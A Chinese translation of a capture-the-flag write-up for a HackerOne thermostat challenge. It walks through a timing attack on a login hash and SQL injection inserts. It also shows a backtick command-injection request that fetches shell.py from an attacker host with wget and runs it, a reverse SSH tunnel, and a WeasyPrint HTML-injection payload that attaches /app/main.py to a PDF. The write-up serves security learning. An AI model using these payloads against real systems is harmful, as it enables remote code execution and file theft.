前言

本文的第一部分文章链接
上文我们已经获得一个可以从外网访问的真实IP

Server 104.196.12.98

第一步是侦查,这里使用端口扫描来发现是否有服务运行,结果我得到了80端口(http)。

Starting masscan 1.0.6 (http://bit.ly/14GZzcT ) at 2019-03-02 22:32:46 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 22/tcp on 104.196.12.98
Discovered open port 80/tcp on 104.196.12.98


现在我们面临一个新的Web应用程序,其中包含usernamepassword输入的表单。另外阅读源代码(html)我们可以看到有一个login.js。让我们使用Burp代理并提交登录表单的请求。用户名和密码可以是什么值?从我们之前的SQL注入,我们得到了admin:password。所以这是一个不错的选择:

POST / HTTP/1.1
Host: 104.196.12.98
Content-Length: 68

hash=3af937e7424ef6124f8b321d73a96e737732c2f5727d25c622f6047c1a4392a

我们可以注意到POST请求不是发送username和password而是hash。是时候看看login.js在做什么了。阅读javascript代码,我们可以发现hashfhash函数,使我们了解它是一个哈希算法。还有一些填充和XOR位操作。几乎可以肯定它实际上是一个哈希函数,因此后端将无法获得原始输入值(用户名和密码)。在这种情况下,我们可以推断后端也会使用相同的function计算哈系值,如login.js。然后它将比较两个哈希值。因此,我们进行身份验证需要使用哈希。

$ python sqlmap.py -v 3 -u http://104.196.12.98/ --data "hash=*" --level=5 --risk=3 --random-agent

结果:什么也没有......也许我们可以找到另一个端点?是时候使用dirseachSecList 中的一些字典了:

# ./tools/dirsearch/dirsearch.py -b -t 10 -e php,asp,aspx,jsp,html,zip,jar,sql -x 500,503 -r -w wordlists/raft-large-words.txt -u http://104.196.12.98

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, zip, jar, sql | Threads: 10 | Wordlist size: 119600

Target: http://104.196.12.98

[15:00:31] Starting:
[15:00:35] 302 -  209B  - /update  ->  http://104.196.12.98/
[15:00:38] 302 -  209B  - /main  ->  http://104.196.12.98/
[15:00:40] 302 -  209B  - /control  ->  http://104.196.12.98/
[15:01:10] 302 -  209B  - /diagnostics  ->  http://104.196.12.98/

有趣的是,尝试一些新的终端。但不幸的是,他们都给了302并重定向到根(/)目录。因此,我们需要以某种方式进行身份验证。

让我们再次关注哈希......

Hash

重温主流的hash攻击是一个好的决定

Hash Extension? or Hash Colision?

它可能是哈希扩展漏洞吗?简而言之,当基于Merkle-Damgård的哈希被误用来作为message认证码时使用这种结构H(secret ‖ message),并且message和secret的长度已知,长度扩展攻击允许任何人在message末尾包含额外的数据,并在不知道secret的情况下生成有效哈系值。在我们的场景中,这不适用,因为没有要验证的签名或message认证码。
或者它可能是哈希碰撞?首先,作为一个哈希碰撞,我们需要一个有效的哈希,这里不是这种情况。

What to do now?

此刻我处境艰难。没有主意......我确信有些重要的东西我还没找到。因此,我决定回去搜索更多漏洞或任何相关信息。

Maybe a SSRF?

我是否可以在devices表中插入另一个IP并使用setTemp命令更改恒温器温度(第一部分文章中的内容)?也许当有人改变温度时,所有设备都会收到带认证码的HTTP请求,因此我可以使用它来登录。似乎可行。第一步是尝试INSERT

System.out.println(PayloadRequest.sendCommand("';INSERT INTO devices(ip) values('X.X.X.X'); commit#", "", "getTemp"));Create another user?

好的,它奏效了。我把我的IP地址作为了一台device。现在让我们在我的服务器(X.X.X.X)上运行tcpdump以捕获所有网络流量。最后,我们需要使用getTempsetTemp命令发送一些请求。

# tcpdump -i eth0 -nnvvXS

但是什么也没有发生......只是在h1-415期间来自旧金山某人的连接(80端口)。:)明确了,我应该删除我的IP地址。这里死路一条。

Create another user?

我们可以插入任何device,也许我们可以插入一个用户并将其用作Thermostat Login的登录名和密码。

System.out.println(PayloadRequest.sendCommand("';INSERT INTO users(username, password) values('manoelt','e08e9df699ce8d223b8c9375471d6f0f'); commit#", "", "getTemp"));

不,我们无法登录!:(

Another command?

是否还有其他参数?让我们爆破吧!
一段时间后,刚刚弹出一个diag命令带有以下响应{"success": false, "error": "Missing diagnostic parameters"}。好了,现在是时候爆破参数名了......经过几天时间使用所有字典来爆破dig命令的参数,甚至使用cewl从真正的恒温器手册中构建一些特定的字典,最后啥也没有找到!

Timing Attack

也许我应该将login.js中的JS代码用python重写一遍并进行代码审计?好的......所以在进行代码审计时,我注意到JS代码有些奇怪:

function hash(x) {
    x += '\x01\x00';
    while((x.length & 0xFF) != 0)
        x += String.fromCharCode((x.length & 0xFF) ^ x.charCodeAt[x.length & 0xFF]);
    ...
}

你看见它了吗?这是一个填充算法,并且XOR操作无法按预期工作,因为它:

x.charCodeAt[x.length & 0xFF]

这是一个拼写错误,这段错误的代码可能会使哈希函数在后端服务器上进行正确的验证变得不可行,因为我们不会得到相同的哈希值...这是一个很好的假设!
在针对哈希函数的攻击中,我看到了一个关于Timing Attack的有趣的话题:比较hash的时候确保响应时间是一个固定值,这样攻击者就无法在一个在线系统中使用时序攻击获得密码的hash值,然后将其破解。
检查两个字节(字符串)序列是否相同的标准方法是比较第一个字节,然后是第二个字节,然后是第三个字节,依此类推。一旦发现两个字符串的字节不相同,您就会发现它们不同并且作出否定的响应。如果你遇到两条字符串没有一个不同的字节,你知道字符串相同时并且返回一个肯定的结果。这意味着比较两个字符串可能需要不同的时间,具体取决于字符串的匹配程度。(笔者:后端进行字符串比较时,是一个字节一个字节比较,第一个字节比较时,若相同则时间会长一点,若不同则立马响应否定结果,此时我们可以爆破找到第一个相同的字节,再继续爆破下一个字节,直到整条字符串相同)
是时候为时序攻击创建PoC了。我们的想法是发送0x00到0xFF的范围中的每个hash作为第一个两个字符,把hash剩下的部分填充ff直到总共64个字符(padding())。在hash中两个字符代表一个字节(16进制)。发送请求后,我们将每一次字节比较所花费的时间保存在dict中。
我得到了:

{ ...
    "ef": 0.6429750000000001,
    "f0": 0.6428805,
    "f1": 0.6429075,
    "f2": 0.6429579999999999,
    "f3": 0.6426725,
    "f4": 0.6429405000000001,
    "f5": 0.6432635,
    "f6": 0.6427134999999999,
    "f7": 0.6425565,
    "f8": 0.6429004999999999,
    "f9": 1.1436354999999998,
    "fa": 0.6428285,
    "fb": 0.642867,
    "fc": 0.6430150000000001,
    "fd": 0.642695,
    "fe": 0.643376,
}

请注意,'f9'花了1.14秒,比其他人多0.5秒。现在我应该测试接下来的两个字符以f9为前缀的hash值,依此类推,直到我得到完整的hash值。

Multithreading

在单个线程中执行此计时攻击需要数小时。所以我们需要使用多线程来完成它。我发现我的VPS网络最可靠的结果是最多使用16个线程。通用思路是构建一个十六进制范围为0x00到0xff的队列,并让每个线程执行一个检查已用时间的请求。距离之前的base_value时间大于0.5秒意味着我们找到了另一个“byte”。

让我们看看每个线程将执行的主要功能:

def process_data(threadName, q): # Thread main function
    global found
    while not exitFlag:   # A flag to stop all threads
        queueLock.acquire()  # Acquire Queue
        if not workQueue.empty(): 
            payload = q.get()
            queueLock.release() # Release Queue
            time_elapsed = send(payload) # Send the hash and get time_elapsed
            if len(payload) == 64 and time_elapsed == 999: # Last two chars case
                found = payload
                return

            while time_elapsed - base_time_value > 0.8: # Possibly a network issue
                time_elapsed = send(payload) # Try again

            if (time_elapsed - base_time_value) > 0.4: # Maybe we have found
                time.sleep((len(found)/2)*0.6+1)   # Waiting to confirm

                again = send(payload)   # Confirming

                if (again - base_time_value) > 0.45:
                    found = payload[:len(found)+2] # Found!
                    print('Found: ' + payload)
        else:
            queueLock.release()
            time.sleep(2)

如果你有额外的时间,你可以在这里观看所有操作:https://youtu.be/y50QDcvS9OM;和快捷版本:https://youtu.be/K1-EQrj0AwA

最后我们可以使用f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13d8作为哈希值登录。

Thermostat web app

现在我们已经通过身份验证,我们可以浏览该应用程序。所有端点都在正常工作,除了/diagnostics,它提示了Unauthorized。此外,在/control下有一个通过对/setTemp执行POST来改变温度的表单。我花了一些时间测试这个端点,发送各种payload,但它似乎只接受数字。

/update

当我们访问/update时,我们得到:

Connecting to http://update.flitethermostat:5000/ and downloading update manifest
...
...
...
Could not connect

这立刻引起了我的注意。如果有一些隐藏参数怎么办?要做到这一点,我们有很多选择:Param Miner(Burp),Turbo Intruder(Burp),Parameth,WFuzz,FFUF等。在此时我一直在寻找性能最好的那个,我选择了Turbo Intruder:Turbo Intruder是一个Burp Suite扩展,用于发送大量HTTP请求并分析结果。它旨在通过处理那些需要速度快,持久或着复杂的攻击来补充Burp Intruder。使用Python配置攻击。

Request:

GET /update?%s HTTP/1.1
Host: 104.196.12.98
Cookie: session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0

Python:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=40,
                           pipeline=False
                           )
...            
    for word in open('C:\\wordlists\\backslash-powered-scanner-params.txt'):
        engine.queue(target.req, word.strip() + '=turbo.d.mydomain.com.br')
... 
def handleResponse(req, interesting):
    table.add(req)

请主意,我仅仅把要爆破的参数值设置为turbo.d.mydomain.com.br,如果它被解析的话就会记录在我的dns日志里。在此之后,我只是按status code对结果进行排序,结果显示参数名为port的响应码为500。很好,我们现在能够设置port参数的值。接下来的想法是尝试将端口更改为0-65535中的所有值并检测另一个服务。使用Turbo Intruder很容易:

...
    for x in range(0,65536):
        engine.queue(target.req, x)

但没有什么不同。让我们试试一些注入,设置port值为password@myserver.com:80会变成http://update.flitethermostat:password@myserver.com:80/从而实现了对myserver.com的SSRF。但它并没有发生,服务器返回错误500.端口是一个整数参数。休息一下......

JWT

登录后,会分配一个cookie,显然是flask JWT。 jwt.io的定义:JSON Web Token (JWT) 是一个开放标准(RFC 7519),它定义了一种紧凑且独立的方式,用于在各方之间作为JSON对象安全地传输信息。信息能够被校验和信任,因为它被数字签名了。它也说JSON Web Tokens由三部分组成以点(.)分割,它们是:Header.Payload.Signature ....这个json是被Base64Url编码的....
Base64解码第一部分:

# session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0
# eyJsb2dnZWRJbiI6dHJ1ZX0
# echo -n 'eyJsb2dnZWRJbiI6dHJ1ZX0='  | base64 -d
{"loggedIn":true}

只有一个loggedIn属性...不过我决定扩展https://github.com/noraj/flask-session-cookie-manager它的功能,并且为app.secret_key创建一个爆破功能,在一个flask应用中app.secret_key被用来为JWT签名。

...
parser_brute = subparsers.add_parser('brute', help='brute')
parser_brute.add_argument('-p', '--payload', metavar='<string>',
                            help='Cookie value', required=True)
parser_brute.add_argument('-w', '--wordlist', metavar='<string>',
                            help='Wordlist', required=True)
...
def bruteforce(payl, wordl):   
    f = open(wordl, 'r')
    for line in f:
        s = session_cookie_decoder(payl,line.strip())
        print(line.strip() +'  '+ s)
        if 'error' not in s:
            print(line.strip + ' <<<<----- KEY')
            return
...

死胡同!

_

我忘了一些事情:

Cody是这个CTF的创建者。这也许是一个提示?我真的不知道,但是这让我尝试爆破参数名的时候带上了_:

update_server=test
server_host=test
host_server=test
update_host=test

突然,我得到了Connecting to http://test:5000/ and downloading update manifest!!所以我能够更改主机名,然后做SSRF ......不,不。我没有尝试触发过http请求。命令注入怎么样?使用反引号(`)我能够注入一个sleep命令。成功,让我们做一个反弹shell:

GET /update?port=80&update_host=localhos`wget+http://X.X.X.X:666/shell.py+-O+/tmp/.shell.py;python+/tmp/.shell.py;rm+-rf+/tmp/.shell.py`t HTTP/1.1
Host: 104.196.12.98
Cookie: session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0

我们在服务器里面!flag在哪里?

Internal Server (172.28.0.3) - Invoice App

这里没有flags!做一个初步的侦察我注意到我在一个docker容器中。我想到的第一件事就是CVE-2019-5736,从一个docker容器逃逸到主机。但我决定多看看,最初通过检查/app/main.py上的应用源代码,查看同一网络上是否有其他容器。真是一个惊喜,我发现另一台服务器172.28.0.3的80端口开放着。使用curl我能够看到它是另一个Web应用程序,关于Hackerone发票!

Tunnel

为了让我的生活更轻松,不泄漏我正在做的事情,我决定使用端口转发建立SSH隧道到我的服务器:

python -c 'import pty;pty.spawn("/bin/bash")'
ssh -fN  -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no -R *:81:172.28.0.3:80 root@X.X.X.X -p 32777

上面的SSH命令会将X.X.X.X上本地的81端口的所有连接转发到172.28.0.3:80。所以从现在开始,我可以把localhost:81作为目标,来使用我所有的本地漏洞利用。

Login

浏览网络应用程序我们可以看到的第一件事是登录表单。我的第一个想法是SQL注入,但是根本没有任何意义。仅仅添加一个反引号会触发异常,但我无法构建有效的sql查询。同时还试过SQLMap:

# python sqlmap.py -u http://localhost:81/auth --data "username=admin&password=admin" --level=5 --risk=3

我还尝试过XPATH注入,LDAP注入和NoSQL注入。没有任何效果。让我们继续。

New Invoice

我们还能够在/invoices/new创建发票。所有逻辑都在newInvoice.js中:

function preview() {
        // kTHJ9QYJY5597pY7uLEQCv9xEbpk41BDeRy82yzx24VggvcViiCuXqXvF11TPusmb5TucH
        //  5MmCWZhKJD29KVGZLrB6hBbLkRPn8o6H5bF73SgHyR3BdmoVJ9hWvtHfD3NNz6rBsLqV9
        var p = encodeInvoice();
        var url = 'http://' + window.location.hostname + '/invoices/preview?d=' + encodeURIComponent(p);
        url = url.replace(/[\u00A0-\u9999<>\&]/gim, function(i) { return '&#'+i.charCodeAt(0)+';'; });
        $('#iframe-box').empty();
        $('#iframe-box').append($('<iframe width="100%" height="500px" src="' + url + '"></iframe>'));
}

function savePDF() {
        var p = encodeInvoice();
        var url = 'http://' + window.location.hostname + '/invoices/pdfize?d=' + encodeURIComponent(p);
        url = url.replace(/[\u00A0-\u9999<>\&]/gim, function(i) { return '&#'+i.charCodeAt(0)+';'; });
        var a = $('<a download href="' + url + '"><span><i>If your download does not start, click here</i></span></a>');
        $('#iframe-box').append(a);
        a.find('span').trigger('click');
}

使用/invoice/preview我们得到一个带有我们发票的html页面,并使用/invoice/pdfize我们得到一个内容相同的PDF文档。分析其余的代码我能够使用curl向两个端点发送有效请求:

curl -gv 'http://localhost:81/invoices/preview?d={"companyName":"Hackerone","email":"aaa@hackerone.com","invoiceNumber":"1","date":"2019-03-08","items":[["1","manoelt","manoelt","2"],["1","manoelt","manoelt","2"],["1","manoelt","manoelt","2"]],"styles":{"body":{"background-color":"white"}}}'; echo;

curl -gv 'http://localhost:81/invoices/pdfize?d={"companyName":"Hackerone","email":"aaa@hackerone.com","invoiceNumber":"1","date":"2019-03-08","items":[["1","manoelt","manoelt","22222","2"],["1","manoelt","manoelt","2"],["1","manoelt","manoelt","2"]],"styles":{"body":{"background-color":"white"}}}' -o invoice.pdf; echo;

攻击python Web应用程序时我尝试的第一件事就是服务器端模板注入。虽然我们在json上面有几个输入选项,但是使用{{7*7}}作为payload,没有一个响应内容证明有SSTI漏洞。另外,引起我们注意的是允许为网页定义样式,因为我们已经知道可以使用css,那么我们可以利用它泄漏网页的信息,但它似乎没有用处。但是如果我们能够使用url()触发HTTP请求,我们可以获得更多的侦察信息:

..."styles":{"body":{"background-image":"url('http://myserver.com.br/')"....

我在我的服务器上收到了带有这个请求头的请求:User-Agent: WeasyPrint 44 (http://weasyprint.org/)

WeasyPrint

什么是WeasyPrint?从https://github.com/Kozea/WeasyPrint/:WeasyPrint是一个智能解决方案,用来帮助Web开发人员创建PDF文档。它将简单的HTML页面变成华丽的统计报告,发票,票据......好的,是时候更多的了解这个python库了。

阅读文档我看到了这个:与不受信任的HTML或不受信任的CSS一起使用时,WeasyPrint也许会遇到安全问题。您需要在Python应用程序中进行额外配置以避免占用大量内存,无休止的渲染或者本地文件泄漏....太好了!我们现在需要知道的是如何利用这个漏洞。也许有人在github上提出了一个issue?事实并非如此。但是,我发现了这个pull request
“添加了对PDF附件的支持。”(https://github.com/Kozea/WeasyPrint/pull/177)
多么神奇的功能!因此,使用<link rel ='attachment' href ='file_path'>WeasyPrint会把herf指定的文件附加到PDF。我相信这就是我们所需要的。
让我们测试所有json属性来注入HTML代码。没有什么比创建一个python脚本来帮助我们更好的了:

...
URL = 'http://localhost:81/invoices/'
...
def pdfize(payl, filename):
    r = requests.get(URL+PDFIZE, params=payload)
    with open('invoices/'+filename, 'wb') as fd:
        for chunk in r.iter_content(chunk_size=128):
            fd.write(chunk)

def preview(payl):
    r = requests.get(URL+PREVIEW, params=payload)
    print(r.content)

invoice = {"companyName":"</style", "email":"</style", "invoiceNumber":"1", "date":"<html", "<":">", "items":[["1","manoelt<script","manoelt</script","2"],["1","manoelt","manoelt","2"]],"styles":{"body":{"}</style background-color":"white"}}}
payload = {"d" : json.dumps(invoice)}
pdfize(payload, "style_invoice.pdf")
preview(payload)

仅仅通过一个属性,我能够注入HTML:CSS属性!但是后端不允许</*>,...而这个提示来自你可以使用//代替闭合标签>。做了最后的exploit:

invoice = {"companyName":"", "email":"", "invoiceNumber":"1", "date":"html", "<":">", "items":[["1","manoelt","manoelt","2"],["1","manoelt","manoelt","2"]],"styles":{"body":{"}</style//<img src='http://mydomain.com.br'><link rel='attachment' href='file:///app/main.py'><style> body: {  background-color":"white"}}}
payload = {"d" : json.dumps(invoice)}
pdfize(payload, "style_invoice.pdf")

最后我打开PDF,那里面有:

如果你正在阅读这篇文章,你已经完成了CTF,到达了路的终点
这是FLAG:c8889970d9fb722066f31e804e351993
查看其他玩家的其他报告

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖